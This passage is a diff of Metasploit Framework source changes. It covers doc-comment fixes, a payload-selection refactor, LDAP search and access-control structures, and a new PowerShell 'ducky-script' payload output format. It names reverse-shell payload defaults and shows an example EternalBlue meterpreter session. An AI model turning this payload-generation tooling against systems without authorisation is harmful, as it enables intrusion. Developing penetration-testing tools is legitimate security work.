+1 -1
View File
@@ -138,7 +138,7 @@ module Msf::RPC::JSON
# Validate the JSON-RPC response.
# @param response [Hash] the JSON-RPC response
# @returns [Boolean] true if the JSON-RPC response is valid; otherwise, false.
# @return [Boolean] true if the JSON-RPC response is valid; otherwise, false.
def valid_rpc_response?(response)
# validate response is an object
return false unless response.is_a?(Hash)
+1 -1
View File
@@ -10,7 +10,7 @@ module Msf::RPC::JSON
# @param response [Hash] A response hash.
# @param symbolize_names [Boolean] If true, symbols are used for the names (keys) when
# processing JSON objects; otherwise, strings are used. Default: true
# @returns [Response] Response object that represents the response hash.
# @return [Response] Response object that represents the response hash.
def self.parse(response, symbolize_names: true)
id_key = symbolize_names ? :id : :id.to_s
result_key = symbolize_names ? :result : :result.to_s
+2 -2
View File
@@ -15,7 +15,7 @@ module Msf::RPC::JSON
# Add a method to the RPC Command
# @param method [Method] the Method
# @param name [String] the name the method is register under. The method name is used if nil.
# @returns [Method] the Method.
# @return [Method] the Method.
def register_method(method, name: nil)
if name.nil?
if method.is_a?(Method)
@@ -33,7 +33,7 @@ module Msf::RPC::JSON
# @param params [Array, Hash] parameters for the RPC call
# @raise [MethodNotFound] The method does not exist
# @raise [Timeout::Error] The method failed to terminate in @execute_timeout seconds
# @returns [Object] the method's return value.
# @return [Object] the method's return value.
def execute(method, params)
unless @methods.key?(method)
raise MethodNotFound.new(method)
+2 -2
View File
@@ -7,7 +7,7 @@ module Msf::RPC::JSON
# @param version [Symbol] the RPC version
# @param framework [Msf::Simple::Framework] Framework wrapper instance
# @raise [ArgumentError] invalid RPC version
# @returns [RpcCommand] an RpcCommand for the specified version
# @return [RpcCommand] an RpcCommand for the specified version
def self.create(version, framework)
case version
when :v1, :v1_0, :v10
@@ -21,7 +21,7 @@ module Msf::RPC::JSON
# Creates an RpcCommand for a demonstration RPC version 2.0.
# @param framework [Msf::Simple::Framework] Framework wrapper instance
# @returns [RpcCommand] an RpcCommand for a demonstration RPC version 2.0
# @return [RpcCommand] an RpcCommand for a demonstration RPC version 2.0
def self.create_rpc_command_v2_0(framework)
# TODO: does belong in some sort of loader class for an RPC version?
# instantiate receiver
+7 -7
View File
@@ -32,7 +32,7 @@ module Msf::RPC::JSON
# returning the method's return value.
# @param method [String] the RPC method name
# @param params [Array, Hash] parameters for the RPC call
# @returns [Object] the method's return value.
# @return [Object] the method's return value.
def execute(method, params)
result = execute_internal(method, params)
result = post_process_result(result, method, params)
@@ -48,7 +48,7 @@ module Msf::RPC::JSON
# @param params [Array, Hash] parameters for the RPC call
# @raise [MethodNotFound] The method does not exist
# @raise [Timeout::Error] The method failed to terminate in @execute_timeout seconds
# @returns [Object] the method's return value.
# @return [Object] the method's return value.
def execute_internal(method, params)
group, base_method = parse_method_group(method)
@@ -78,7 +78,7 @@ module Msf::RPC::JSON
# Parse method string in the format "group.base_method_name".
# @param method [String] the RPC method name
# @returns [Array] Tuple of strings, group and base_method
# @return [Array] Tuple of strings, group and base_method
def parse_method_group(method)
idx = method.rindex(METHOD_GROUP_SEPARATOR)
if idx.nil?
@@ -95,7 +95,7 @@ module Msf::RPC::JSON
# @param handlers [Hash] hash of group String - Msf::RPC::RPC_Base object pairs
# @param group [String] the RPC group
# @param method_name [String] the RPC method name
# @returns [Msf::RPC::RPC_Base] concrete Msf::RPC::RPC_Base instance if one exists; otherwise, nil.
# @return [Msf::RPC::RPC_Base] concrete Msf::RPC::RPC_Base instance if one exists; otherwise, nil.
def find_handler(handlers, group, method_name)
handler = nil
if !handlers[group].nil? && handlers[group].respond_to?(method_name)
@@ -108,7 +108,7 @@ module Msf::RPC::JSON
# Prepare params for use by RPC methods by converting all hashes
# inside of Arrays to use strings for their names (keys).
# @param params [Object] parameters for the RPC call
# @returns [Object] If params is an Array all hashes it contains will be
# @return [Object] If params is an Array all hashes it contains will be
# modified; otherwise, the object will simply pass-through.
def prepare_params(params)
clean_params = params
@@ -127,7 +127,7 @@ module Msf::RPC::JSON
# Stringify the names (keys) in hash.
# @param hash [Hash] input hash
# @returns [Hash] a new hash with strings for the keys.
# @return [Hash] a new hash with strings for the keys.
def stringify_names(hash)
JSON.parse(JSON.dump(hash), symbolize_names: false)
end
@@ -136,7 +136,7 @@ module Msf::RPC::JSON
# @param result [Object] the method's return value
# @param method [String] the RPC method name
# @param params [Array, Hash] parameters for the RPC call
# @returns [Object] processed method's return value
# @return [Object] processed method's return value
def post_process_result(result, method, params)
# post-process payload module result for JSON output
if method == MODULE_EXECUTE_KEY && params.size >= 2 &&
+6 -2
View File
@@ -467,7 +467,6 @@ class RPC_Module < RPC_Base
res
end
# Executes a module.
#
# @param [String] mtype Module type. Supported types include (case-sensitive):
@@ -738,6 +737,12 @@ private
end
def _run_exploit(mod, opts)
if mod.datastore['PAYLOAD']
opts['PAYLOAD'] = mod.datastore['PAYLOAD']
else
opts['PAYLOAD'] = Msf::Payload.choose_payload(mod)
end
s = Msf::Simple::Exploit.exploit_simple(mod, {
'Payload' => opts['PAYLOAD'],
'Target' => opts['TARGET'],
@@ -846,4 +851,3 @@ private
end
end
end
+24 -2
View File
@@ -56,12 +56,35 @@ class RPC_Session < RPC_Base
end
# Stops a session.
# Stops a session - alias for killing a session in `msfconsole`
#
# @param [Integer] sid Session ID.
# @raise [Msf::RPC::Exception] Unknown session ID.
# @return [Hash] A hash indicating the action was successful. It contains the following key:
# * 'result' [String] A message that says 'success'.
# @example Here's how you would use this from the client:
# # You have an active session, you run session list to view the session number, then pass that session number to the `stop` command:
# >> rpc.call('session.list')
# {7=>
# {"type"=>"meterpreter",
# "tunnel_local"=>"192.168.xxx.xxx:4444",
# "tunnel_peer"=>"192.168.xxx.xxx:64688",
# "via_exploit"=>"exploit/windows/smb/ms17_010_eternalblue",
# "via_payload"=>"payload/windows/x64/meterpreter/reverse_tcp",
# "desc"=>"Meterpreter",
# "info"=>"NT AUTHORITY\\SYSTEM @ DC1",
# "workspace"=>"default",
# "session_host"=>"192.168.xxx.xxx",
# "session_port"=>445,
# "target_host"=>"192.168.xxx.xxx",
# "username"=>"foo",
# "uuid"=>"h9pbmuoh",
# "exploit_uuid"=>"tcjj1fqo",
# "routes"=>"",
# "arch"=>"x86",
# "platform"=>"windows"}}
# >> rpc.call('session.stop', 7)
# => {"result"=>"success"}
def rpc_stop( sid)
s = self.framework.sessions[sid.to_i]
@@ -487,4 +510,3 @@ private
end
end
end
@@ -137,7 +137,12 @@ module SingleCommandShell
# Send the command to the session's stdin.
delimiter = "echo #{token}"
shell_data = cmd + "#{command_separator}#{delimiter}#{command_termination}"
if cmd.strip.end_with?(command_separator)
# This command already ends with a delimiter - don't need to add another one
shell_data = cmd + "#{delimiter}#{command_termination}"
else
shell_data = cmd + "#{command_separator}#{delimiter}#{command_termination}"
end
unless @is_echo_shell
shell_data = "#{delimiter}#{command_separator}#{shell_data}"
end
@@ -136,6 +136,8 @@ module Common
print("\n#{mod.type.capitalize} action:\n\n#{mod_action}\n") if (mod_action and mod_action.length > 0)
end
print("\nView the full module info with the #{Msf::Ui::Tip.highlight('info')}, or #{Msf::Ui::Tip.highlight('info -d')} command.\n\n")
# Uncomment this line if u want target like msf2 format
#print("\nTarget: #{mod.target.name}\n\n")
end
@@ -21,6 +21,8 @@ class Msf::Ui::Console::CommandDispatcher::Developer
def initialize(driver)
super
output, is_success = modified_files
@modified_files = is_success ? output : []
end
def name
@@ -78,19 +80,15 @@ class Msf::Ui::Console::CommandDispatcher::Developer
end
def reload_changed_files
# Using an array avoids shelling out, so we avoid escaping/quoting
changed_files = %w[git diff --name-only]
files, is_success = modified_files
output, status = Open3.capture2e(*changed_files, chdir: Msf::Config.install_root)
unless status.success?
print_error("Git is not available: #{output.chomp}")
unless is_success
print_error("Git is not available")
return
end
files = output.split("\n")
files.each do |file|
@modified_files |= files
@modified_files.each do |file|
next if file.end_with?('_spec.rb') || file.end_with?("spec_helper.rb")
f = File.join(Msf::Config.install_root, file)
reload_file(f, print_errors: false)
@@ -435,4 +433,21 @@ class Msf::Ui::Console::CommandDispatcher::Developer
print @@time_opts.usage
print_line
end
private
def modified_files
# Using an array avoids shelling out, so we avoid escaping/quoting
changed_files = %w[git diff --name-only]
begin
output, status = Open3.capture2e(*changed_files, chdir: Msf::Config.install_root)
is_success = status.success?
output = output.split("\n")
rescue => e
elog(e)
output = []
is_success = false
end
return output, is_success
end
end
@@ -96,12 +96,6 @@ class Evasion
print_status "Payload Handler Started as Job #{job_id}"
end
# This is the same functionality as Exploit::choose_payload, so call it
def self.choose_payload(mod)
Msf::Ui::Console::CommandDispatcher::Exploit.choose_payload(mod)
end
end
end
end
@@ -269,64 +269,9 @@ class Exploit
alias cmd_rerun_help cmd_rexploit_help
# Select a reasonable default payload and minimally configure it
# TODO: Move this somewhere better or make it more dynamic?
# @param [Msf::Module] mod
def self.choose_payload(mod)
compatible_payloads = mod.compatible_payloads(
excluded_platforms: ['Multi'] # We don't want to select a multi payload
).map(&:first)
# XXX: Determine LHOST based on global LHOST, RHOST or an arbitrary internet address
lhost = mod.datastore['LHOST'] || Rex::Socket.source_address(mod.datastore['RHOST'] || '50.50.50.50')
configure_payload = lambda do |payload|
if mod.datastore.is_a?(Msf::DataStoreWithFallbacks)
payload_defaults = { 'PAYLOAD' => payload }
# Set LHOST if this is a reverse payload
if payload.index('reverse')
payload_defaults['LHOST'] = lhost
end
mod.datastore.import_defaults_from_hash(payload_defaults, imported_by: 'choose_payload')
else
mod.datastore['PAYLOAD'] = payload
# Set LHOST if this is a reverse payload
if payload.index('reverse')
mod.datastore['LHOST'] = lhost
end
end
payload
end
# If there is only one compatible payload, return it immediately
if compatible_payloads.length == 1
return configure_payload.call(compatible_payloads.first)
end
# XXX: This approach is subpar, and payloads should really be ranked!
preferred_payloads = [
# These payloads are generally reliable and common enough in practice
'/meterpreter/reverse_tcp',
'/shell/reverse_tcp',
'cmd/unix/reverse_bash',
'cmd/unix/reverse_netcat',
'cmd/windows/powershell_reverse_tcp',
# Fall back on a generic payload to autoselect a specific payload
'generic/shell_reverse_tcp',
'generic/shell_bind_tcp'
]
# XXX: This is not efficient in the slightest
preferred_payloads.each do |type|
payload = compatible_payloads.find { |name| name.end_with?(type) }
next unless payload
return configure_payload.call(payload)
end
nil
Msf::Payload.choose_payload(mod)
end
end
@@ -127,6 +127,7 @@ module Msf
end
else
print(Serializer::ReadableText.dump_module(mod))
print("\nView the full module info with the #{Msf::Ui::Tip.highlight('info -d')} command.\n\n")
end
end
@@ -1489,6 +1490,7 @@ module Msf
print("\nPayload advanced options (#{mod.datastore['PAYLOAD']}):\n\n#{p_opt}\n") if (p_opt and p_opt.length > 0)
end
end
print("\nView the full module info with the #{Msf::Ui::Tip.highlight('info')}, or #{Msf::Ui::Tip.highlight('info -d')} command.\n\n")
end
def show_evasion_options(mod) # :nodoc:
+15
View File
@@ -1437,6 +1437,18 @@ require 'digest/sha1'
method: 'reflection')
end
def self.to_powershell_ducky_script(framework, arch, code)
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
powershell = Rex::Powershell::Command.cmd_psh_payload(code,
arch,
template_path,
encode_final_payload: true,
method: 'reflection')
replacers = {}
replacers[:var_payload] = powershell
read_replace_script_template("to_powershell.ducky_script.template", replacers)
end
def self.to_powershell_hta(framework, arch, code)
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
@@ -2155,6 +2167,8 @@ require 'digest/sha1'
Msf::Util::EXE.to_powershell_hta(framework, arch, code)
when 'python-reflection'
Msf::Util::EXE.to_python_reflection(framework, arch, code, exeopts)
when 'ducky-script-psh'
Msf::Util::EXE.to_powershell_ducky_script(framework, arch, code)
end
end
@@ -2168,6 +2182,7 @@ require 'digest/sha1'
"aspx-exe",
"axis2",
"dll",
"ducky-script-psh",
"elf",
"elf-so",
"exe",
+6 -2
View File
@@ -139,9 +139,13 @@ class PayloadCachedSize
opts = OPTS.clone
# Assign this way to overwrite the Options key of the newly cloned hash
opts['Options'] = opts['Options'].merge(mod.shortname =~ /6/ ? OPTS_IPV6 : OPTS_IPV4)
if mod.arch_to_s == ARCH_X64
# Extract the AdaptedArch for adaptor payloads, note `mod.adapted_arch` is not part of the public API
# at this time, but could be in the future. The use of send is safe for now as it is an internal tool
# with automated tests if the API were to change in the future
adapted_arch = mod.send(:module_info)['AdaptedArch']
if adapted_arch == ARCH_X64 || mod.arch_to_s == ARCH_X64
opts['Options'].merge!(OPTS_ARCH_X64)
elsif mod.arch_to_s == ARCH_X86
elsif adapted_arch == ARCH_X86 || mod.arch_to_s == ARCH_X86
opts['Options'].merge!(OPTS_ARCH_X86)
end
opts
+1 -1
View File
@@ -165,7 +165,7 @@ module Net # :nodoc:
# my $res = Net::DNS::Resolver->new(config_file => '/my/dns.conf');
#
# This is supported on both UNIX and Windows. Values pulled from a custom
# configuration file override the the system's defaults, but can still be
# configuration file override the system's defaults, but can still be
# overridden by the other arguments to Resolver::new.
#
# Explicit arguments to Resolver::new override both the system's defaults
+1 -1
View File
@@ -408,7 +408,7 @@ module Rex
end
#
# An error describing an issue that occurred while parsing the the data structure.
# An error describing an issue that occurred while parsing the data structure.
#
class ParserError < GraphMLError
end
+3 -1
View File
@@ -115,7 +115,9 @@ class CommandMapper
available_modules = [
::Rex::Post::Meterpreter,
*::Rex::Post::Meterpreter::ExtensionMapper.get_extension_klasses
*::Rex::Post::Meterpreter::ExtensionMapper.get_extension_klasses,
# Railgun is a special case that defines extra TLV_TYPES inside an extension
Rex::Post::Meterpreter::Extensions::Stdapi::Railgun
].uniq
available_modules.each do |mod|
@@ -38,10 +38,9 @@ class Resolve
response = client.send_request(request)
type = response.get_tlv_value(TLV_TYPE_ADDR_TYPE)
raw = response.get_tlv_value(TLV_TYPE_IP)
return raw_to_host_ip_pair(hostname, raw, type)
return raw_to_host_ip_pair(hostname, raw)
end
def resolve_hosts(hostnames, family=AF_INET)
@@ -56,40 +55,31 @@ class Resolve
hosts = []
raws = []
types = []
response.each(TLV_TYPE_IP) do |raw|
raws << raw
end
response.each(TLV_TYPE_ADDR_TYPE) do |type|
types << type
end
0.upto(hostnames.length - 1) do |i|
raw = raws[i]
type = types[i]
host = hostnames[i]
hosts << raw_to_host_ip_pair(host, raw.value, type.value)
hosts << raw_to_host_ip_pair(host, raw&.value)
end
return hosts
end
def raw_to_host_ip_pair(host, raw, type)
def raw_to_host_ip_pair(host, raw)
if raw.nil? or host.nil?
return nil
end
if raw.empty?
ip = nil
else
if type == AF_INET
ip = Rex::Socket.addr_ntoa(raw[0..3])
else
ip = Rex::Socket.addr_ntoa(raw[0..16])
end
ip = nil
if raw.length == 4 || raw.length == 16
ip = Rex::Socket.addr_ntoa(raw)
elsif raw.length != 0
wlog("hostname resolution failed, the returned address is corrupt (hostname: #{host}, length: #{raw.length})")
end
result = { :hostname => host, :ip => ip }
@@ -31,7 +31,7 @@ class TcpServerChannel < Rex::Post::Meterpreter::Channel
# Rex::Post::Meterpreter::Extensions::Stdapi::Net::Socket. All incoming requests from the meterpreter
# for a COMMAND_ID_STDAPI_NET_TCP_CHANNEL_OPEN will be processed here. We create a new TcpClientChannel for each request
# received and store it in the respective tcp server channels list of new pending client channels.
# These new tcp client channels are passed off via a call the the tcp server channels accept() method.
# These new tcp client channels are passed off via a call the tcp server channels accept() method.
#
def self.request_handler(client, packet)
return false unless packet.method == COMMAND_ID_STDAPI_NET_TCP_CHANNEL_OPEN
@@ -52,7 +52,8 @@ class TcpServerChannel < Rex::Post::Meterpreter::Channel
}
)
client_channel = TcpClientChannel.new(client, cid, TcpClientChannel, CHANNEL_FLAG_SYNCHRONOUS, packet, {:sock_params => params})
client_channel = TcpClientChannel.new(client, cid, TcpClientChannel, CHANNEL_FLAG_SYNCHRONOUS, packet, sock_params: params)
ilog("enqueueing new TCP client with channel id #{cid}")
@@server_channels[server_channel] ||= ::Queue.new
@@server_channels[server_channel].enq(client_channel)
@@ -471,6 +471,7 @@ class Console::CommandDispatcher::Stdapi::Net
return false
end
print_status("Reverse TCP relay created: (remote) #{rhost}:#{rport} -> (local) #{lhost}:#{lport}")
else
# Validate parameters
unless lport && rhost && rport
@@ -486,10 +487,9 @@ class Console::CommandDispatcher::Stdapi::Net
'MeterpreterRelay' => true,
'OnLocalConnection' => Proc.new { |relay, lfd| create_tcp_channel(relay) })
lport = relay.opts['LocalPort']
print_status("Forward TCP relay created: (local) #{lhost}:#{lport} -> (remote) #{rhost}:#{rport}")
end
print_status("Local TCP relay created: #{lhost}:#{lport} <-> #{rhost}:#{rport}")
# Delete local port forwards
when 'delete', 'remove', 'del', 'rm'
+228
View File
@@ -41,6 +41,234 @@ class Net::LDAP::Connection # :nodoc:
yield self if block_given?
end
# Monkeypatch upstream library for now to support :control
# hash option in `args` so that we can provide controls within
# searches. Needed so we can specify the LDAP_SERVER_SD_FLAGS_OID
# flag for searches to prevent getting the SACL when querying for
# ntSecurityDescriptor, as this is retrieved by default and non-admin
# users are not allowed to retrieve SACLs for objects. Therefore by
# adjusting the search to not retrieve SACLs, non-admin users can still
# retrieve information about the security of objects without violating this rule.
#
# @see https://github.com/rapid7/metasploit-framework/issues/17324
# @see https://github.com/ruby-ldap/ruby-net-ldap/pull/411
#
# @param [Hash] args A hash of the arguments to be utilized by the search operation.
#
# @return [Net::LDAP::PDU] A Protocol Data Unit (PDU) object, represented by the Net::LDAP::PDU class, containing the results of the search operation.
#
def search(args = nil)
args ||= {}
# filtering, scoping, search base
# filter: https://tools.ietf.org/html/rfc4511#section-4.5.1.7
# base: https://tools.ietf.org/html/rfc4511#section-4.5.1.1
# scope: https://tools.ietf.org/html/rfc4511#section-4.5.1.2
filter = args[:filter] || Net::LDAP::Filter.eq("objectClass", "*")
base = args[:base]
scope = args[:scope] || Net::LDAP::SearchScope_WholeSubtree
# attr handling
# attrs: https://tools.ietf.org/html/rfc4511#section-4.5.1.8
# attrs_only: https://tools.ietf.org/html/rfc4511#section-4.5.1.6
attrs = Array(args[:attributes])
attrs_only = args[:attributes_only] == true
# references
# refs: https://tools.ietf.org/html/rfc4511#section-4.5.3
# deref: https://tools.ietf.org/html/rfc4511#section-4.5.1.3
refs = args[:return_referrals] == true
deref = args[:deref] || Net::LDAP::DerefAliases_Never
# limiting, paging, sorting
# size: https://tools.ietf.org/html/rfc4511#section-4.5.1.4
# time: https://tools.ietf.org/html/rfc4511#section-4.5.1.5
size = args[:size].to_i
time = args[:time].to_i
paged = args[:paged_searches_supported]
sort = args.fetch(:sort_controls, false)
# arg validation
raise ArgumentError, "search base is required" unless base
raise ArgumentError, "invalid search-size" unless size >= 0
raise ArgumentError, "invalid search scope" unless Net::LDAP::SearchScopes.include?(scope)
raise ArgumentError, "invalid alias dereferencing value" unless Net::LDAP::DerefAliasesArray.include?(deref)
# arg transforms
filter = Net::LDAP::Filter.construct(filter) if filter.is_a?(String)
ber_attrs = attrs.map { |attr| attr.to_s.to_ber }
ber_sort = encode_sort_controls(sort)
# An interesting value for the size limit would be close to A/D's
# built-in page limit of 1000 records, but openLDAP newer than version
# 2.2.0 chokes on anything bigger than 126. You get a silent error that
# is easily visible by running slapd in debug mode. Go figure.
#
# Changed this around 06Sep06 to support a caller-specified search-size
# limit. Because we ALWAYS do paged searches, we have to work around the
# problem that it's not legal to specify a "normal" sizelimit (in the
# body of the search request) that is larger than the page size we're
# requesting. Unfortunately, I have the feeling that this will break
# with LDAP servers that don't support paged searches!!!
#
# (Because we pass zero as the sizelimit on search rounds when the
# remaining limit is larger than our max page size of 126. In these
# cases, I think the caller's search limit will be ignored!)
#
# CONFIRMED: This code doesn't work on LDAPs that don't support paged
# searches when the size limit is larger than 126. We're going to have
# to do a root-DSE record search and not do a paged search if the LDAP
# doesn't support it. Yuck.
rfc2696_cookie = [126, ""]
result_pdu = nil
n_results = 0
message_id = next_msgid
instrument "search.net_ldap_connection",
message_id: message_id,
filter: filter,
base: base,
scope: scope,
size: size,
time: time,
sort: sort,
referrals: refs,
deref: deref,
attributes: attrs do |payload|
loop do
# should collect this into a private helper to clarify the structure
query_limit = 0
if size > 0
query_limit = if paged
(((size - n_results) < 126) ? (size - n_results) : 0)
else
size
end
end
request = [
base.to_ber,
scope.to_ber_enumerated,
deref.to_ber_enumerated,
query_limit.to_ber, # size limit
time.to_ber,
attrs_only.to_ber,
filter.to_ber,
ber_attrs.to_ber_sequence,
].to_ber_appsequence(Net::LDAP::PDU::SearchRequest)
# rfc2696_cookie sometimes contains binary data from Microsoft Active Directory
# this breaks when calling to_ber. (Can't force binary data to UTF-8)
# we have to disable paging (even though server supports it) to get around this...
user_controls = args.fetch(:controls, [])
controls = []
controls <<
[
Net::LDAP::LDAPControls::PAGED_RESULTS.to_ber,
# Criticality MUST be false to interoperate with normal LDAPs.
false.to_ber,
rfc2696_cookie.map(&:to_ber).to_ber_sequence.to_s.to_ber,
].to_ber_sequence if paged
controls << ber_sort if ber_sort
if controls.empty? && user_controls.empty?
controls = nil
else
controls += user_controls
controls = controls.to_ber_contextspecific(0)
end
write(request, controls, message_id)
result_pdu = nil
controls = []
while pdu = queued_read(message_id)
case pdu.app_tag
when Net::LDAP::PDU::SearchReturnedData
n_results += 1
yield pdu.search_entry if block_given?
when Net::LDAP::PDU::SearchResultReferral
if refs
if block_given?
se = Net::LDAP::Entry.new
se[:search_referrals] = (pdu.search_referrals || [])
yield se
end
end
when Net::LDAP::PDU::SearchResult
result_pdu = pdu
controls = pdu.result_controls
if refs && pdu.result_code == Net::LDAP::ResultCodeReferral
if block_given?
se = Net::LDAP::Entry.new
se[:search_referrals] = (pdu.search_referrals || [])
yield se
end
end
break
else
raise Net::LDAP::ResponseTypeInvalidError, "invalid response-type in search: #{pdu.app_tag}"
end
end
if result_pdu.nil?
raise Net::LDAP::ResponseMissingOrInvalidError, "response missing"
end
# count number of pages of results
payload[:page_count] ||= 0
payload[:page_count] += 1
# When we get here, we have seen a type-5 response. If there is no
# error AND there is an RFC-2696 cookie, then query again for the next
# page of results. If not, we're done. Don't screw this up or we'll
# break every search we do.
#
# Noticed 02Sep06, look at the read_ber call in this loop, shouldn't
# that have a parameter of AsnSyntax? Does this just accidentally
# work? According to RFC-2696, the value expected in this position is
# of type OCTET STRING, covered in the default syntax supported by
# read_ber, so I guess we're ok.
more_pages = false
if result_pdu.result_code == Net::LDAP::ResultCodeSuccess and controls
controls.each do |c|
if c.oid == Net::LDAP::LDAPControls::PAGED_RESULTS
# just in case some bogus server sends us more than 1 of these.
more_pages = false
if c.value and c.value.length > 0
cookie = c.value.read_ber[1]
if cookie and cookie.length > 0
rfc2696_cookie[1] = cookie
more_pages = true
end
end
end
end
end
break unless more_pages
end # loop
# track total result count
payload[:result_count] = n_results
result_pdu || OpenStruct.new(:status => :failure, :result_code => Net::LDAP::ResultCodeOperationsError, :message => "Invalid search")
end # instrument
ensure
# clean up message queue for this search
messages = message_queue.delete(message_id)
# in the exceptional case some messages were *not* consumed from the queue,
# instrument the event but do not fail.
if !messages.nil? && !messages.empty?
instrument "search_messages_unread.net_ldap_connection",
message_id: message_id, messages: messages
end
end
end
module Rex
+128 -22
View File
@@ -7,22 +7,37 @@ module Rex::Proto::MsDtyp
hide :reserved0, :reserved1
# the protocol field id reserved for protocol-specific access rights
bit16 :protocol
uint16 :protocol
bit3 :reserved0
bit1 :sy
bit1 :wo
bit1 :wd
bit1 :rc
bit1 :de
bit3 :reserved0
bit1 :sy
bit1 :wo
bit1 :wd
bit1 :rc
bit1 :de
bit1 :gr
bit1 :gw
bit1 :gx
bit1 :ga
bit2 :reserved1
bit1 :ma
bit1 :as
bit1 :gr
bit1 :gw
bit1 :gx
bit1 :ga
bit2 :reserved1
bit1 :ma
bit1 :as
def bit_names
names = []
names << :GENERIC_READ if self.gr != 0
names << :GENERIC_WRITE if self.gw != 0
names << :GENERIC_EXECUTE if self.gx != 0
names << :GENERIC_ALL if self.ga != 0
names << :MAXIMUM_ALLOWED if self.ma != 0
names << :ACCESS_SYSTEM_SECURITY if self.as != 0
names << :SYNCHRONIZE if self.sy != 0
names << :WRITE_OWNER if self.wo != 0
names << :WRITE_DACL if self.wd != 0
names << :READ_CONTROL if self.rc != 0
names << :DELETE if self.de != 0
names
end
ALL = MsDtypAccessMask.new({ gr: 1, gw: 1, gx: 1, ga: 1, ma: 1, as: 1, sy: 1, wo: 1, wd: 1, rc: 1, de: 1, protocol: 0xffff })
NONE = MsDtypAccessMask.new({ gr: 0, gw: 0, gx: 0, ga: 0, ma: 0, as: 0, sy: 0, wo: 0, wd: 0, rc: 0, de: 0, protocol: 0 })
@@ -64,6 +79,34 @@ module Rex::Proto::MsDtyp
class MsDtypGuid < RubySMB::Dcerpc::Uuid
end
# Definitions taken from [2.4.4.1 ACE_HEADER](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/628ebb1d-c509-4ea0-a10f-77ef97ca4586)
class MsDtypAceType
ACCESS_ALLOWED_ACE_TYPE = 0x0
ACCESS_DENIED_ACE_TYPE = 0x1
SYSTEM_AUDIT_ACE_TYPE = 0x2
SYSTEM_ALARM_ACE_TYPE = 0x3 # Reserved for future use according to documentation.
ACCESS_ALLOWED_COMPOUND_ACE_TYPE = 0x4 # Reserved for future use according to documentation.
ACCESS_ALLOWED_OBJECT_ACE_TYPE = 0x5
ACCESS_DENIED_OBJECT_ACE_TYPE = 0x6
SYSTEM_AUDIT_OBJECT_ACE_TYPE = 0x7
SYSTEM_ALARM_OBJECT_ACE_TYPE = 0x8 # Reserved for future use according to documentation.
ACCESS_ALLOWED_CALLBACK_ACE_TYPE = 0x9
ACCESS_DENIED_CALLBACK_ACE_TYPE = 0xA
ACCESS_ALLOWED_CALLBACK_OBJECT_ACE_TYPE = 0xB
ACCESS_DENIED_CALLBACK_OBJECT_ACE_TYPE = 0xC
SYSTEM_AUDIT_CALLBACK_ACE_TYPE = 0xD
SYSTEM_ALARM_CALLBACK_ACE_TYPE = 0xE # Reserved for future use according to documentation.
SYSTEM_AUDIT_CALLBACK_OBJECT_ACE_TYPE = 0xF
SYSTEM_ALARM_CALLBACK_OBJECT_ACE_TYPE = 0x10 # Reserved for future use according to documentation.
SYSTEM_MANDATORY_LABEL_ACE_TYPE = 0x11
SYSTEM_RESOURCE_ATTRIBUTE_ACE_TYPE = 0x12
SYSTEM_SCOPED_POLICY_ID_ACE_TYPE = 0x13
def self.name(value)
constants.select { |c| c.upcase == c }.find { |c| const_get(c) == value }
end
end
# [2.4.4.1 ACE_HEADER](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/628ebb1d-c509-4ea0-a10f-77ef97ca4586)
class MsDtypAceHeader < BinData::Record
endian :little
@@ -82,20 +125,73 @@ module Rex::Proto::MsDtyp
uint16 :ace_size, initial_value: -> { parent&.num_bytes || 0 }
end
# [2.4.4.2 ACCESS_ALLOWED_ACE](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/72e7c7ea-bc02-4c74-a619-818a16bf6adb)
class MsDtypAccessAllowedAceBody < BinData::Record
class MsDtypAceNonObjectBody < BinData::Record
endian :little
ms_dtyp_access_mask :access_mask
ms_dtyp_sid :sid
ms_dtyp_sid :sid, byte_align: 4
end
class MsDtypAceObjectBody < BinData::Record
endian :little
ms_dtyp_access_mask :access_mask
struct :flags do
bit1 :reserved5
bit1 :reserved4
bit1 :reserved3
bit1 :reserved2
bit1 :reserved1
bit1 :reserved
bit1 :ace_inherited_object_type_present
bit1 :ace_object_type_present
end
ms_dtyp_guid :object_type, onlyif: -> { flags.ace_object_type_present != 0x0 }
ms_dtyp_guid :inherited_object_type, onlyif: -> { flags.ace_inherited_object_type_present != 0x0 }
ms_dtyp_sid :sid, byte_align: 4
end
# [2.4.4.2 ACCESS_ALLOWED_ACE](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/72e7c7ea-bc02-4c74-a619-818a16bf6adb)
class MsDtypAccessAllowedAce < BinData::Record
class MsDtypAccessAllowedAceBody < MsDtypAceNonObjectBody
end
# [2.4.4.4 ACCESS_DENIED_ACE](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/b1e1321d-5816-4513-be67-b65d8ae52fe8)
class MsDtypAccessDeniedAceBody < MsDtypAceNonObjectBody
end
# [2.4.4.10 SYSTEM_AUDIT_ACE](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/9431fd0f-5b9a-47f0-b3f0-3015e2d0d4f9)
class MsDtypSystemAuditAceBody < MsDtypAceNonObjectBody
end
# [2.4.4.3 ACCESS_ALLOWED_OBJECT_ACE](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/c79a383c-2b3f-4655-abe7-dcbb7ce0cfbe)
class MsDtypAccessAllowedObjectAceBody < MsDtypAceObjectBody
end
# [2.4.4.5 ACCESS_DENIED_OBJECT_ACE](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/8720fcf3-865c-4557-97b1-0b3489a6c270)
class MsDtypAccessDeniedObjectAceBody < MsDtypAceObjectBody
end
# [2.4.4.11 SYSTEM_AUDIT_OBJECT_ACE](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/c8da72ae-6b54-4a05-85f4-e2594936d3d5)
class MsDtypSystemAuditObjectAceBody < MsDtypAceObjectBody
endian :little
ms_dtyp_ace_header :header, initial_value: { ace_type: 0 }
ms_dtyp_access_allowed_ace_body :body
string :application_data, read_length: -> { calc_app_data_length }
def calc_app_data_length
ace_header = parent&.header
return 0 if ace_header.nil?
ace_size = ace_header&.ace_size
return 0 if ace_size.nil? or (ace_size == 0)
ace_header_length = ace_header.to_binary_s.length
body = parent&.body
if body.nil?
return 0 # Read no data as there is no body, so either we have done some data misalignment or we shouldn't be reading data.
else
ace_body_length = body.to_binary_s.length
